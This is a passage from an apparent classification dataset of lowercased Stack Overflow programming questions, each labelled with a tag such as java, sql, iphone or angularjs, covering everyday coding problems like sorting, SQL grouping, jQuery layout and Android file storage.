guess   but basically i m going from my index to my show page using the openquestion function. it s just a sample of the code and it s not the whole app routing but that  part is behaving like the rest of the website.,angularjs
how to list an array line by line on a jtextarea   i have an array of random integers which i am producing through the click of a button. i am trying to output the numbers to a textarea line by line but at the moment my code just has them separate by a space. i know that  \n  moves the text to the next line although i am not sure as to how i can incorporate this into an array. as you will be able to see in the code below  it is the snoutput and onoutput which i need to use this format for.    if anyone is able to give me some feedback it would be greatly appreciated!    thanks    here is my code(please keep in mind that it is unfinished in many other areas):   <pre><code>arraylist&lt;integer&gt; list = new arraylist&lt;integer&gt;();  public void selectionsort(integer[] a) {     for(int i = 0; i &lt; a.length; i++) {         int smallestvalue = a[i];         int smallestindex = i;         if(ascbutton.isselected()){             for(int j = i+1; j &lt; a.length; j++) {                 if (smallestvalue &gt; a[j]) {                     smallestvalue = a[j];                     smallestindex = j;                 }             }         a[smallestindex] = a[i];         a[i] = smallestvalue;         } else if(desbutton.isselected()){             for(int j = i+1; j &lt; a.length; j++) {                 if (smallestvalue &lt; a[j]) {                     smallestvalue = a[j];                     smallestindex = j;                 }         }         a[smallestindex] = a[i];         a[i] = smallestvalue;         }     } }   public void bubblesort(integer[] a) {      int temp;      for (int i = a.length - 1; i &gt; 0; i--) {         if(ascbutton.isselected()) {             for(int j = 0; j &lt; i; j++) {             if(a[j] &gt; a[j + 1]) {                 temp = a[j];                 a[j] = a[j + 1];                 a[j + 1] = temp;             }         }         } else if(desbutton.isselected()) {             for(int j = 0; j &lt; i; j++) {             if(a[j] &lt; a[j + 1]) {                 temp = a[j];                 a[j] = a[j + 1];                 a[j + 1] = temp;             }         }         }      } }  public void insertionsort(integer[] a) {     for(int i = 1; i &lt; a.length; i++) {         int temp = a[i];         int j = i - 1;          if(ascbutton.isselected()) {             while(j &gt;= 0 &amp;&amp; a[j] &gt; temp) {             a[j + 1] = a[j];             j--;         }         a[j + 1] = temp;         } else if(desbutton.isselected()) {             while(j &gt;= 0 &amp;&amp; a[j] &lt; temp) {             a[j + 1] = a[j];             j--;         }         a[j + 1] = temp;         }      } }  public void quicksort(integer[] a  int left  int right) {     int i = left;     int j = right;     int temp;     int pivot = a[(left + right)/2];     while(i &lt;= j) {     if(ascbutton.isselected()) {          while(a[i] &lt; pivot)             i++;         while(a[j] &gt; pivot)             j--;     } else if(desbutton.isselected()) {         while(a[i] &gt; pivot)             i++;         while(a[j] &lt; pivot)             j--;     }         if(i &lt;= j) {             temp = a[i];             a[i] = a[j];             a[j] = temp;             i++;             j--;         }     }     if(left &lt; j) {         quicksort(a left j);     }       if(i &lt; right) {         quicksort(a  i  right);     }             }      public void start() {         if(tenbutton.isselected()) {             int times = 10;             for (int i = 0; i &lt; times; i++) {                 list.add(new random().nextint(20000) - 10000);         }          } else if(hundbutton.isselected()) {             int times = 100;             for (int i = 0; i &lt; times; i++) {                 list.add(new random().nextint(20000) - 10000);         }     } else if(thoubutton.isselected()) {             int times = 1000;             for (int i = 0; i &lt; times; i++) {                 list.add(new random().nextint(20000) - 10000);         }     } else if(fivebutton.isselected()) {             int times = 5000;             for (int i = 0; i &lt; times; i++) {                 list.add(new random().nextint(20000) - 10000);         }     } }  public static string arraytostring(integer[] a) {     string result =   ;     for (int v : a) {         result += v +    ;     }     return result; }  private void sortbuttonactionperformed(java.awt.event.actionevent evt) {                                                 start();     integer[] array = list.toarray(new integer[0]);     onoutput.settext(arraytostring(array));      string loop =  number of times the loop was executed:  ;     string comp =  number of times a comparison was made:  ;     string value =  number of times a value was shifted:  ;     string milli =  number of milliseconds to complete the sort:  ;      string results =  selection sort:  +  \n  + loop +  \n  + comp +  \n  + value +  \n  + milli +  \n  +  \n               +  bubble sort:   +  \n  + loop +  \n  + comp +  \n  + value +  \n  + milli +  \n  +  \n               +  insertion sort:   +  \n  + loop +  \n  + comp +  \n  + value +  \n  + milli +  \n  +  \n               +  quick sort:   +  \n  + loop +  \n  + comp +  \n  + value +  \n  + milli +  \n  +  \n ;      if(tenbutton.isselected()) {         if(ascbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else if (desbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else {             infooutput.settext( please selected a sort order! );         }     } else if(hundbutton.isselected()) {        if(ascbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else if (desbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else {             infooutput.settext( please selected a sort order! );         }      } else if(thoubutton.isselected()) {         if(ascbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else if (desbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else {             infooutput.settext( please selected a sort order! );         }     } else if(fivebutton.isselected()) {         if(ascbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else if (desbutton.isselected()) {             selectionsort(array);             bubblesort(array);             insertionsort(array);             quicksort(array  0  list.size()-1);             snoutput.settext(arraytostring(array));             resultsoutput.settext(results);         } else {             infooutput.settext( please selected a sort order! );         }     }  } </code></pre>,java
how to convert pdf to text file in iphone   i am implementing one pdf reader applciation for iphone in which i want to add one functionality which will conver pdf to text file.    is it possible  if possible then please give me idea about that.    thanks in advance,iphone
ios development in- remove the padding of a tabbar image icon  i am trying to create a tabbar for my application. i have created the needed images(60x60) and (30x30) and named them appropriately. the problem i encounter is that the icons has black padding around it. i have tried the following solutions:   <pre><code> [tabbaritem1 setimageinsetsluiedgeinsetmake(-6 -6 6 6);] </code></pre>   but it only shifts the position of the image but it still does not span the full tabbaritem size. i have also tried setting the indicator image to a a different image with setselectionindicatorimage.    also i have tried changing the frame of the tabbaritem with:   <pre><code>cgrect frame = self.tabbar.frame; frame.origin.x = -6; frame.size.width = frame.size.width+12; self.tabbar.frame = frame; </code></pre>   but nothing have been changed.  i have found this thread: <a href= https://stackoverflow.com/questions/10035302/uitabbar-selectionindicatorimage-padding >uitabbar selectionindicatorimage padding</a>  but it looks quite complicated. i have tried the second and third solution with no luck.    in the third solution it is offered to:  add your image as a subview to the tabbar:   how do i do that     i ll appreciate any help. thanks!,ios
when do we use @class in iphone sdk  i m confused about when do we use the @class keyword in code  and can we use the class header file instead ...    any input would be appreciated     thanks     mohsen,iphone
how to deploy xcode application in real device  i am new to iphone. i am developing a simple application in iphone 3.1.2. now i need to test it on a real device. but i am not in a position to pay $99. is there any alternate way to test my application on a real device.     please advice any other way.,iphone
variable number of arguments (of different types) in ansi c  i am trying to resolve following problem...  <br>i have a function which should take following arguments:<br>   <pre><code>change(input_file_name  output_file_name  pid1  pid1_file_name  pid2  pid2_file_name  etc... ); </code></pre>   so in case of running of this function there will be:   <pre><code>change( input.file   output.file   20   file1.file   21   file2.file   22   file3.file   23   file4.file); </code></pre>   definition of this function is:   <pre><code>#include &lt;stdarg.h&gt; int change(char input[]  char output[]  int n  ...) {   va_list ap;   unsigned int a;   char *name;    va_start(ap  n);    ...    for (; n; n-=2) {     a = va_arg(ap  int);     name = va_arg(ap char *);      ...    }   va_end(ap);   return i; } </code></pre>   but this does not work correctly. when trying to get  a  and  name  variables i get random data.,c
how to find out if the second character in a string is whitespace in php  i m trying to find out if the second character in a string is a space. so if i have this:   <pre><code> a brown fox  </code></pre>   and   <pre><code> hello world  </code></pre>   how can i flag that the first string has a space at the 2nd position but the second string doesn t,php
printing row of stars  i m trying to create a method that takes two parameters: number of stars  and row length. i want the method to print stars from the middle of the row  and then expand outwards.    number of stars has to be less than or equal to row length  and row length has to be odd numbers.    say if i call   <pre><code>rowofstars(3 5); </code></pre>   output i want is:   <pre><code>  ***   </code></pre>   but if i call   <pre><code>rowofstars(2 5); rowofstars(4 5); </code></pre>   output should be:   <pre><code>  * *    ** **  </code></pre>   quotation marks just to show the length of the row (in this case 5 char spaces).    all i can figure out is this involves a for loop  with length being the limit of the loop  and if number of stars == odd number  then    <pre><code>for(int i = 0; i &lt; length; i++){      //set of rules should be here      if(num % 2 == 1 &amp;&amp; i == length % 2 + 1){         system.out.print( * );     } else {         system.out.print(   );     } } </code></pre>   but i couldn t figure out the rest of the rules so that the stars are printed the way i want them to.,java
how do i reliably get two elements  dimensions on page load  say i have a  container  element that has <code>overflow:auto</code>  with a  contents  div inside. the container s height is a percentage of the window height  and the content could be any height:   <pre><code>&lt;div id= container &gt;// height dependent on window size     &lt;div id= content &gt;     // arbitrary amount of content here     &lt;/div&gt; &lt;/div&gt; </code></pre>   css as requested - please note in my  real world  scenario  the content element is actually a table  with rules as below:   <pre><code>#container {     height:100%;     overflow:auto }  #content {     border-collapse: collapse;     border-spacing: 0; } </code></pre>   what i want to do is check whether the content s height exceeds the container s and do something if true.    however  if i simply do:   <pre><code>$(document).ready(function(){     var containerh = $( #container ).outerheight();     var contenth = $( #content ).outerheight();     if ( contenth &gt; containerh ) {         // if the content s too big  do things...     }; }); </code></pre>   the if statement never runs  because the two heights are always calculated as being equal - even when i <em>know</em> that it is not the case. subsequent checks always reveal the actual dimensions.    so i thought: maybe the elements aren t finished rendering (i m using @font-face to style text in the elements - perhaps i need to wait for that to complete) and i then tried to do something like:   <pre><code>$(document).ready(function(){      var container = $( #container );     var content = $( #content );      function getproperheight(el){         var height = el.load(function(){             var h = this.outerheight();             return h;         });         return height;     };      var containerh = getproperheight(container);     var contenth = getproperheight(content);      console.log( containerh +     + contenth )  }; </code></pre>   which is the closest i got using the <code>load()</code> method  but i get [object object] for both expected values.    in short - how can i get the actual rendered dimensions of the two elements,jquery
split single large image into multiple a4 pages  referring to the following thread <a href= https://stackoverflow.com/questions/14075844/how-to-print-one-large-image-in-many-pages rq=1 >how to print one large image in many pages </a>    i got the image to be split in multiple pages but i need to adjust the width and height according a4 size paper. how can it be done,.net
member access in java  i have code where a variable name is identical to the class name. i.e.:   <pre><code>class foo {   static public void main(string[] args) {     integer foo;     foo.main(args);   } } </code></pre>   how can i call the main-method without renaming the variable or the class,java
occasional 422 error: client not sending session cookie   a few users are getting a <code>422 actioncontroller::invalidauthenticitytoken</code> error when posting a form.    it happens to a minority of users some of the time. if they try their request again later  it often works.    the authenticity token is getting sent along in every case. i m assuming the client isn t sending the session cookie along with the post (that would explain why the server can t verify the token). why would this be     finally  the form is submitted via javascript (<code>$( #new_user )[0].submit()</code>)  would that somehow prevent the session cookie from being sent     disabling the <code>verify_authenticity_token</code> before_filter is unfortunately not an option.,ruby-on-rails
moving from being a c#  programmer  to a .net  developer   i ve been coding in c# for a while  a little over a year professionally  but i think i m ready to learn more about the cli and the .net framework  learning about things such as assembly versioning  deployment  cil  and tons of things i m sure i m not even aware i don t know.    any good books or other resources,.net
converting a string of delimiter separated values that represent columns and rows into a map table  i have a string that is built up from columns and rows...   <pre><code>a b c d e f g h i j k l m n o p </code></pre>   in the case of the string above  there would be 4 columns and 4 rows (though there could be 20 columns and 5 rows.  i will always know the amount of columns and rows).   <pre><code>a e i m b f j n c g k o d h l p </code></pre>   what i am trying to do  is put those into a map so that the key is the column and row so i can use it as a lookup.  so the map would look like  <code>a = 0_0  b = 0_1  c = 0_2  ... p = 3_3</code>.    am sure it s relatively simple  but i can t seem to get it correct.   <pre><code>let str =  a b c d e f g h i j k l m n o p ; let parts = str.split(   ); let my_map = new map();  //... loop(s) here  console.log(my_map.get( 3_3 )) // p </code></pre>,javascript
when to delete files from nscachesdirectory  i am developing a news application . i am using nscachedirectory to save to image s . i want to know when should i delete the images from the cash . i know i could probably delete it when i receive a memory warning (or it would be automatically deleted in a low memory condition) but i don t understand why to keep the images for so long and delete them only if i receive the memory warning . i also tried to check if all the images saved in nscashdirectory are in the data which i get (from the internet) and if not then delete it   but i am sure performance would be a issue . is there a way to clear cash after a specific time interval    p.s. i am quite new to ios programming .,ios
how to use python to built an int arrray and manuplate it as efficient as c   from <a href= http://www.cs.bell-labs.com/cm/cs/pearls/sol01.html  rel= nofollow >http://www.cs.bell-labs.com/cm/cs/pearls/sol01.html</a>:    the c code is like that:   <pre><code>#define bitsperword 32 #define shift 5 #define mask 0x1f #define n 10000000 int a[1 + n/bitsperword];  void set(int i) {        a[i&gt;&gt;shift] |=  (1&lt;&lt;(i &amp; mask)); } void clr(int i) {        a[i&gt;&gt;shift] &amp;= ~(1&lt;&lt;(i &amp; mask)); } int  test(int i){ return a[i&gt;&gt;shift] &amp;   (1&lt;&lt;(i &amp; mask)); } </code></pre>   i found <a href= http://docs.python.org/library/ctypes  rel= nofollow >ctypes</a>  <a href= http://wiki.python.org/moin/bitarrays  rel= nofollow >bitarrays</a> <a href= http://docs.scipy.org/doc/numpy/reference/routines.bitwise.html  rel= nofollow >numpy</a> but i m not sure whether they could be as efficient as  the c codes above.    for example  if i write codes like this:   <pre><code>from ctypes import c_int a=[c_int(9)]*1024*1024 </code></pre>   would the space used be 1m bytes  or much more     does anyone know some good libraries that can do the same things in python,python
odd effect of letter-spacing on element width  i would have assumed that setting letter-spacing to -1px on a two-character span would reduce its width by 1px. however  see the following in chrome:   <pre><code>span.style.fontsize=48 48 span.textcontent= 99   99  span.style.letterspacing=0 0 span.offsetwidth 16 span.style.letterspacing= -1px   -1px  span.offsetwidth 14 </code></pre>   setting letter-spacing to -1px has reduced the width by 2px rather than 1.    this might be less important if it did not cause the text with letter-spacing of -1px to be slight off-center when you are trying to align it with text-align: center.    the css spec appears to say clearly that letter-spacing is supposed to affect spacing <em>between</em> letters. however  it seems that at least in chrome the spacing between some conceptual start point and the first character of text is also compressed.    any ideas or thoughts on this  ie 10 exhibits the same behavior. a bug  or misreading of the spec,css
problem with showing modalviewcontroller in landscape mode in iphone   my application consist of a landscape view where i want to put a modalview but the problem is with modalview. it doesn t get load on presenting it.. code is:    --------------------code here----------------------    uiviewcontroller *modalviewcontroller = [[uiviewcontroller alloc] init];    modalviewcontroller.view = modelview1; [self presentmodalviewcontroller:modalviewcontroller animated:no];    [self performselector:@selector(hidesplash) withobject:nil afterdelay:5.0];   <hr>   plz kindly help me with this....,iphone
count function inside case statement  problem statement:    if the number of courses an instructor teaches is less than 1 then update the salary to 30000 else to 35000 -  using one command.  the code i wrote results in an error  could you please tell why it s not working and how i can improve it. thanks in advance :d    <blockquote>    update   using oracle sql        schema:        <blockquote>      instructor -> id  name  dept_name  salary             teaches -> id  course_id  semester  year    </blockquote> </blockquote>  <pre><code>update i set i.salary = case when count(t.course_id) &lt; 1 then 30000 else 35000 from (select * from instructor i inner join teaches t on i.id = t.id)   </code></pre>,sql
"changing the location of the text without css  its look like:    <img src= https://i.stack.imgur.com/uyt6f.jpg  alt= enter image description here >    but  is that possible to move this text (lepingute ajalugu) to here without css :    <img src= https://i.stack.imgur.com/3fbab.jpg  alt= enter image description here >    i want this text directly under it (lepingud). is that possible      my html:   <pre><code>&lt;ul class= list-inline choose-actions &gt;                 &lt;li&gt;&lt;h4&gt;lepingud&lt;/h4&gt; |&lt;/li&gt;                 &lt;li&gt;lepingute allkirjastamine |&lt;/li&gt;                 &lt;li&gt;esita muutmisavaldus |&lt;/li&gt;                 &lt;li&gt;lepingute ajalugu&lt;/li&gt; &lt;/ul&gt; </code></pre>   i already tried spaces and use <code>&lt;br&gt;</code>  but i didnt get what i need.    any clue      <strong>update</strong>    like all said  i need to use css  how i can move <code>&lt;li&gt;lepingute ajalugu&lt;/li&gt;</code> a little bit right. i tried this :    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>ul li li li li{
     left: 150px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul&gt;
     &lt;li&gt;&lt;h4&gt;lepingud&lt;/h4&gt; |&lt;/li&gt;
     &lt;li&gt;lepingute allkirjastamine |&lt;/li&gt;
     &lt;li&gt;esita muutmisavaldus |&lt;/li&gt;
     &lt;li&gt;lepingute ajalugu&lt;/li&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>",html
how to return 0 for rows which don t exisit  i have the following query   <pre><code>select `product` `coverlvl`  `datesold`  count(*) as `number`  from policyinfo  where `product` =  outbacker-idol  &amp;&amp; `coverlvl` = gold  &amp;&amp; `datesold` &gt;=      ( 2016-06-01 )&amp;&amp; `datesold` &lt; ( 2016-07-01 ) group by `product`  `coverlvl`  </code></pre>   it returns data for only one day.  when i need is for the other days in the month to return 0    <img src= https://i.stack.imgur.com/0ft4n.png  alt= enter image description here >,mysql
translate using https://angular-translate.github.io/  i am using <a href= https://angular-translate.github.io/  rel= nofollow >https://angular-translate.github.io/</a> module for translation    my key array is   <pre><code>$scope.array = [      full_name        email        phone_no  ];  </code></pre>   and my translation for that is    <pre><code>$translateprovider.translations( en   {         full_name: full name           email: email           phone_no: phone no  }); </code></pre>   and have code like this    <pre><code>&lt;div ng-repeat= item in array &gt;   {{item | translate}} &lt;/div&gt; </code></pre>   but i can t get translation. can anyone help to do proper way,angularjs
do you need the .net 1.0 framework to target the .net 1.0 framework   i have a bunch of <strong>.net</strong> frameworks installed on my machine.<br> i know that with the <strong>java jdk</strong>  i can use the <strong>6.0</strong> version to target <strong>5.0</strong> and earlier.      can i do something similar with the <strong>.net</strong> framework - target <strong>1.0</strong> and <strong>2.0</strong> with the <strong>3.0</strong> framework,.net
search only specific object parameters in typeahead  i am using angular typeahead for searching users. i have array which include <code>empid</code>  <code>empname</code>  <code>imageurl</code>  <code>skills</code>. in that i want to search by only <code>empname</code> &amp; <code>skills</code> parameters. but currently result is filtering <code>imageurl</code> also. i want filter for only <code>empname</code> &amp; <code>skills</code>.    below is my code   <pre><code>&lt;input type= text  placeholder= search people here...     ng-change= getmatcheduser();   ng-model= selected     data-typeahead= user as user.name for user in searchmembers | filter:$viewvalue     typeahead-on-select= onselect($item  $model  $label)     typeahead-template-url= customtemplate.html   /&gt; </code></pre>   my search array is below   <pre><code>$scope.searchmembers = [                 {                   empname : abc                     imageurl : default.jpg                     skills :  java                  }                  {                   empname : pqr                     imageurl : default.jpg                     skills :  php                  }                ]; </code></pre>,angularjs
mysql: select row in parent table that has two rows in child table (one to many)  i have two tables  parent  and  child  with one to many relationship.    i wish to grab all records from  parent  table who s rows in  child  table have status  pending  and  approved     e.g.  manufacturers  table:    <pre><code>id  name  1  boots 2  audi 3  avg </code></pre>    models  table:    <pre><code>id  manufacturer_id  status (int)  1  1  pending 2  1  failed 3  1  approved 4  2  failed 5  3  approved </code></pre>   i want to grab all the manufacturers that have models with status  pending  and  approved . given the above data mysql should return  boots  because in  models  boots has a record with status  pending  (id = 1) and  approved  (id = 5),mysql
how to store an object in input stream to a particular folder under sdcard in android   i am getting an object from amazon s3 which is assigned to input stream. i want to store that input stream object into some specified path in sdcard. that input stream object may be pdf csv or any other format. but i have to store all formats object into a folder under sdcard. i had tried this code   <pre><code>inputstream inputstreamreceiptobject = objectreceiptfromamazons3.getobjectcontent(); string strreceiptpathinfolder =  /mnt/sdcard/folder1/folder2/ +objectname.extension; </code></pre>   // where objectname.extension is as follows    // ex : if object is pdf then pdfname.pdf     // ex : if object is csv then csvname.csv   <pre><code>     try {                        file file = new file(environment.getexternalstoragedirectory().getpath()   testpdf.pdf );                        file.createnewfile(); // error java.io.ioexception occurs in this line                        outputstream fout;                        fout = new fileoutputstream(file);                        objectoutputstream oos = new objectoutputstream(fout);                                 oos.writeobject(inputstreamreceiptobject);                                 oos.close();                                  system.out.println( added );                 //                          }                          } catch (exception e) {                             system.out.println( error  +e.tostring());                            throw new runtimeexception(e); }   i am receiving an error as  java.io.ioexception: open failed: eacces (permission denied)   // error received in the following line   file.createnewfile(); </code></pre>   android manifest file i had below permissions         i want to simply store that input stream object in a folder.if object is pdf then i want to store that pdf  if csv then to store csv. but i can t able to store in a folder.thanks for any help !,android
query to order by post pattern like 9gag  random thought when i was browsing 9gag:    they order their post in the following pattern (3pic followed by 1 gif):   <ul> <li>pic</li> <li>pic</li> <li>pic</li> <li>gif</li> <li>pic</li> <li>pic</li> <li>pic</li> <li>gif</li> </ul>   so i thought  their table structure might look something like this:   <pre><code>posts id | title | contenturl | type | uploadeddatetime 1       aaa        abc.a    pic     4/10/17 11:54 2       aab        abc.b    gif     4/10/17 11:55 3       aac        abc.c    pic     4/10/17 11:56 4       aad        abc.d    pic     4/10/17 11:57 5       aae        abc.e    gif     4/10/17 11:58 6       aaf        abc.f    pic     4/10/17 11:59 7       aag        abc.g    pic     4/10/17 12:00 </code></pre>   can i write an sql query that returns me such order without using a cursor     edit:i can t believe the amount of people who don t know 9gag.    basically they ll make sure that they will show exactly 3 pictures between showing a gif in the hot page. so the order in this case will look like:   <pre><code>5       aae        abc.e    gif     4/10/17 11:58 7       aag        abc.g    pic     4/10/17 12:00 6       aaf        abc.f    pic     4/10/17 11:59 4       aad        abc.d    pic     4/10/17 11:57 2       aab        abc.b    gif     4/10/17 11:55 1       aaa        abc.a    pic     4/10/17 11:54 3       aac        abc.c    pic     4/10/17 11:56 </code></pre>,sql
fetch the occurrences of particular words in particular column of a table  i have near about 200 words. i want to see how many times those words occurred in a column of a table.    e.g: say we have table test with column statements which has two rows.    <ol> <li>how are you. it s been long since i met you.</li> <li>i am fine how are you.</li> </ol>   now i want to find the the occurrences of words  you  and  how . output should be something like:   <pre><code>word          count you            3 how            2 </code></pre>   since  you  has 3 and how has 2 occurrences in the two rows.    how can i do this,mysql
does increasing the number of fields in join statement increase/decrease the speed of execution   i have two tables with 3.5 million rows of data. i am creating a left join between the two to create a new view.     code 1:   <pre><code>select t1.c1 t1.c2 t2.c3 t2.c4 from table1 as t1     left join table2 as t2    on t1.location=t2.location and t1.ordernumber=t2.ordernumber and t1.customer=t2.customer </code></pre>   code 2:   <pre><code>select t1.c1 t1.c2 t2.c3 t2.c4 from table1 as t1     left join table2 as t2    on t1.ordernumber=t2.ordernumber </code></pre>   both snippets of code give the same desired result as the order number field in table 2 has only unique values.     is it better to give more fields to join compared to only one,sql
i work in three20 pictures it shows error message like this  _objc_class_$_tturlrequestmodel   referenced from :  i have a error message like this   _objc_class_$_tturlrequestmodel   referenced from: when i work in 320 picture.,iphone
how to find controls on onrowediting event of gridview and text associated with control   after finding controls (e.g label image) i want to find the text value associated with all controls and finally assign that text value to textboxes.,asp.net
css element prevent moving when border is added  how do i prevent elements from shifting when i add a border to them  example:   <pre><code> p:hover     {     border:1px solid red;     }      p     {      border:none;     } </code></pre>   but is not working,css
query optimization  i have an stored procedure of this format   <pre><code>if(condition 1) begin (   -----   -----   select into #temp1   ----   drop #temp1 ) end if(condition 2) begin (   -----   -----   select into #temp1   ----   drop #temp1 ) end </code></pre>   now when the above stored procedure is execute it shows me an error that:   <pre><code> there is already an object named  #temp1  in the database.  </code></pre>   when i modify the stored procedure like    <pre><code>if(condition 1) begin (   -----   -----   select into #temp1   ----   drop #temp1 ) end if(condition 2) begin (   -----   -----   select into #temp2   ----   drop #temp2 ) end </code></pre>   it works good.but i want to optimize this because of creating too many temporary tables.    can anybody help me on this,sql
how to force android always start from launcher activity  in my app i have a startup <code>activity</code> which shows my logo and does a few web requests  after which it starts the main <code>activity</code> and finishes itself.  the problem is that i always need android to start my app from startup <code>activity</code> and do the requests. but when user presses home <code>button</code> on main <code>activity</code> and app goes to the background it is being recycled by android after some time. and when user presses the icon of my app again android stars from main activity not from startup <code>activity</code>. so i need that any time android recycles my main <code>activity</code> it starts my app from startup activity but not from main <code>activity</code>.     is there a way to do that,android
mysql: group by `topic_id`  if `topic_id` > 0  i have <code>entries</code> which might or might not be assigned to a <code>topic</code>.    i want to select entries with the highest score by summing up the score of those  which belong to the same topic. in addition  i want to get a number of similar entries  which were grouped together.   <pre><code>select *  count(`topic_id`) from `entries` group by `topic_id` having `topic_id` &gt; 0 order by sum(`score`) desc limit 30 </code></pre>   this query misses a few things. firstly  i want entries without topic_id (topic_id = 0) not to be grouped  but to be treated individually. secondly  count(<code>topic_id</code>) does not always return a real number of entries belonging to the same topic.,mysql
show registration date in php  how would i show the registration date of a user  for example  it might say  user since: 3rd april 2015 . what php code would i need to use to show this,php
rails3+csv wrong number of arguments (0 for 1)   in generate  in development mode iam using (rails3 and ruby 1.9.2p136) and csv is working good     but     in production mode iam using (rails3 and ruby 1.9.2p0) and csv throws error    (wrong number of arguments (0 for 1)   in generate)    please can u suggest me what could be the problem.    thanks,ruby-on-rails
default selected in multiple selectbox <blockquote>    this is my html part  </blockquote>  <pre><code> &lt;select size= 3   name= selectedsalestatus[]  multiple ng-model= selectedsalestatus  ng-options= type.name for type in config.salestatus  &gt;  &lt;/select&gt; </code></pre>  <blockquote>    its my controller  </blockquote>  <pre><code> $scope.salestatus = [             { id : 18   name :  abc }              { id : 19   name :  def }              { id : 20   name :  ghi }         ]; </code></pre>  <blockquote>    i want my default selected item as abc  </blockquote>,angularjs
document object write method  document object write method works differently when used inside the function and when outside. when inside of function it replaces the entire elements on the document with the string specified in it but when outside the function  just below the element the content is written. why do this happen    <pre><code>function foo(){document.write( maizere )} element.onclick=foo </code></pre>   when the event occurs everything on the document is replaced with the string specified in the write method.,javascript
how to get new selected and old values after user selected option from dropdown list box   i have angularjs dropdown list box:   <pre><code>    &lt;select class= form-control              ng-model= editor.frequency              ng-options= item as item.name for item in editor.frequencies              ng-change= editor.editfrequencymanual = false; &gt;    &lt;/select&gt; </code></pre>   after user click on option in dropdown list box i need to get clicked(selected) value and the old value(before selection).    any idea how can i get this two values is there event function that i sholud use,angularjs
sql compare two unique rows from the same table  im hoping this is a straight forward question but i cannot work out the syntax for it.    i just need to find if a value within  id  also exists in  id2   lets say the tables called  teacher    <pre><code>id-id2 10-1 11-2 12-13 13-4 </code></pre>   the only match there is row 4 as 13 also exists in id2  so i would need to pull that out with a select query  can anybody advise  thanks.     hi on top of this i have a second table called staff with the following setup   <pre><code>id-name 1-smith 2-jones 3-bruce </code></pre>   whereby id is the same id as in the teacher table  i think i need to join them here but im not sure what to do with the id in the second table. the only information i need from the second table is the name so the cartesian product should look like the above only with the processing done from table 1. thanks in advance    scrap that  solved it  thanks,sql
merge similar rows and sum their values   this is my table:   <pre><code>url           | art | design  example1.com     1              example1.com     1              example1.com     1              example1.com            1          example2.com            1 example2.com            1 </code></pre>   i want to merge columns with same url and sum the values of art and design in the process  to get something like:   <pre><code>url           | art | design example1.com     3      1 example2.com            2 </code></pre>   how is this done,mysql
how to find address using latitute and longitude <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2690312/convert-iphone-gps-to-address >convert iphone gps to address</a>    </blockquote>     hi how to find address using latitute and longitude in iphonei,iphone
private screen segue   i have a basic login/register field a user can use in my app. i want to also initiate a segue to a private screen: a new viewcontroller a user can see after the login/register button is tapped. i would appreciate if someone with experience with login in or registering in an app can help me programmatically specify a segue to a viewcontroller called userviewcontroller.   <pre><code>-(ibaction)btnloginregistertapped:(uibutton*)sender { //form fields validation if (fldusername.text.length &lt; 4 || fldpassword.text.length &lt; 4) {     [uialertview error:@ enter username and password over 4 chars each. ];     return; } //salt the password nsstring* saltedpassword = [nsstring stringwithformat:@ %@%@   fldpassword.text  ksalt]; //prepare the hashed storage nsstring* hashedpassword = nil; unsigned char hashedpassworddata[cc_sha1_digest_length]; //hash the pass nsdata *data = [saltedpassword datausingencoding: nsutf8stringencoding]; if (cc_sha1([data bytes]  [data length]  hashedpassworddata)) {     hashedpassword = [[nsstring alloc] initwithbytes:hashedpassworddata length:sizeof(hashedpassworddata) encoding:nsasciistringencoding]; } else {     [uialertview error:@ password can t be sent ];     return; } //check whether it s a login or register nsstring* command = (sender.tag==1) @ register :@ login ; nsmutabledictionary* params =[nsmutabledictionary dictionarywithobjectsandkeys:command  @ command   fldusername.text  @ username   hashedpassword  @ password   nil]; //make the call to the web api [[api sharedinstance] commandwithparams:params oncompletion:^(nsdictionary *json) {     //result returned     nsdictionary* res = [[json objectforkey:@ result ] objectatindex:0];     if ([json objectforkey:@ error ]==nil &amp;&amp; [[res objectforkey:@ iduser ] intvalue]&gt;0) {         [[api sharedinstance] setuser: res];         [self.presentingviewcontroller dismissviewcontrolleranimated:yes completion:nil];         //show message to the user         [[[uialertview alloc] initwithtitle:@ logged in  message:[nsstring stringwithformat:@ welcome %@  [res objectforkey:@ username ]] delegate:nil cancelbuttontitle:@ close  otherbuttontitles: nil] show];     } else {         //error         [uialertview error:[json objectforkey:@ error ]];     } }];  } </code></pre>,ios
how to add changes to code after deploying app to iphone device  how i can make modifications to code after i deployed it on iphone device. i only see summary  info  build settings  build phases and build rules. don t see all project files which i can open and add changes to it.    any ideas how to add changes after deploying and testing on real device.,iphone
what s the difference between doing alloc and class_createinstance  wondering  what is the difference between creating a class with:   <pre><code>class clazz = [nsstring class]; [clazz alloc]; </code></pre>   and    <pre><code>class_createinstance(clazz 0); </code></pre>,objective-c
